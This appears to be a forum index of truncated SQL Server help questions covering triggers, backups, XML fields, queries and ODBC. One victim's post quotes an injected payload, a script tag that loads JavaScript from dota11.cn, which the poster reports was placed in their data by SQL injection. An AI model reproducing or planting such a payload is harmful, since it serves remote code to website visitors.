Hi
I have a table with multiple fields, of which 1 field iswith a text field called xmlproperties. in that field is the following:
keyfield (int), xmlproperties (text)
<Description>some d...
folks
i have a following working calendar data
CALENDAR START END
DAYCAL 1/1/2008 1/31/2008
i have a another table called shift with the workshifts performed along the following days...
I have an application which uses MS SQL Server as backend. For some reason the application is storing the SID instead of Windows Login ID in the User Table. Now we are planning to use Reportin...
Yes, I have to delete all existing triggers in the database. Also, why can't I find them in the Management Studio object explorer?
I am currently using LiteSpeed version 4.8.3.00025 to backup my sql
servers. Currently they are all setup to backup via unc to a central
backup server but over the past 3 to 5 months the ...
Hi experts:
Does anybody know if MS SQL Server contains a tool to create a Data Dictionary for a database, or if not then is there a good cheap tool that will create a data dictionary on a ...
Please help - I keep getting hit with the sql injection script - <script src=http://www.dota11.cn/m.js></script>. It's different every time, but they cut off field info with this script and i...
Tables
Customer(CustomerID, CustomerName)
Order(OrderID, CustomerID, OrderAmt, ShipTo)
Select
L.CustomerID,
L.CustomerName,
Count(R1.ShipTo) OrdersShippedToTexas,
Count(R2.Ship...
Hi lads,
I'm trying to query a SQL table (which contains more than 100.000 recordsets) in the fastest possible way. This table contains IDs and customer details, similar to these ones:
ID1...
I have a database And want to show all of the triggers for the tables how would I do that
Hello- I need to migrate (or backup and restore) a SQL 2000 sever, including all databases, maintenance plans, etc. I have very little SQL experience. I have read through several different b...
Hi Experts,
I would like to query a table on another Sql Server within our system.
Similar to this post here...
http://www.experts-exchange.com/Database/MySQL/Q_22458554.html
I am us...
I am trying to move a table "SCANPaq_Archive" to a new database on the same SQL Server. What would be the correct way to do this? Looking for sql more than using DTS if possible.
Can someone tell me how to remove sql injections?
Is banner82 one?
see www.moviecues.com
click on search for sonts and watch
I am using Sql Server 2005.
I have a stored procedure that takes XML as input parameter. I have multiple rows inside the XML that will be inserted or updated to the database.
I have an end...
Aloha I need to fix the following
-(DATEDIFF(wk, dateadd(mm,3,@StartDate), dateadd(mm,4,@StartDate)) * 2)
the second dateadd function should subtract -1 how do I set that up? otherwis...
I have never used ActiveX scripts in a job step before so I am a little green here. I am trying to update a table that has over 27 million records in it. Some how trailing spaces got into so...
What is Hash Match? i saw it is written it is a physical operator.What is physical operator means.
Can some one explain me on this .
Thanks..
Hi Experts,
I have this "easy" problem that I just cannot figure out for some reason... I want to insert the highest value of the paid coulmn and the date of the paid into a temp table... I ...
I need to a Select Data from tables accessable via ODBC DSN and bring the result set/DataReader in SQL Server Via CLR Stored Procedure. So I wrote C# Program to create CLR Procdure for that.
...
My scenario is like this:
Upstream server [U] --> Regional servers [R] --> Local server [L] (3 different servers)
regarding permissions:
I have select permissions on [U] and execute permiss...
An anonymous session connected from LOCALHOST has attempted to open an LSA policy handle on this machine. The attempt was rejected with STATUS_ACCESS_DENIED to prevent leaking security sensiti...
I have a column in the data source for my report that will be containing multiple items. In the cell that displays them, I would like each to be on a new line. I've tried (in the data source...
Hello:
I'd like to create a stored procedure that does the following:
Updates 1 field in 1 table with info from another table in another database based on 1 criterion.
example:
select * ...
When LapTop01 with XP Pro SP2 sits idle for awhile it's ODBC connection to SQLServer01 is lost. The ODBC connection is required for a couple of custom FoxPro frontend applications connecting ...
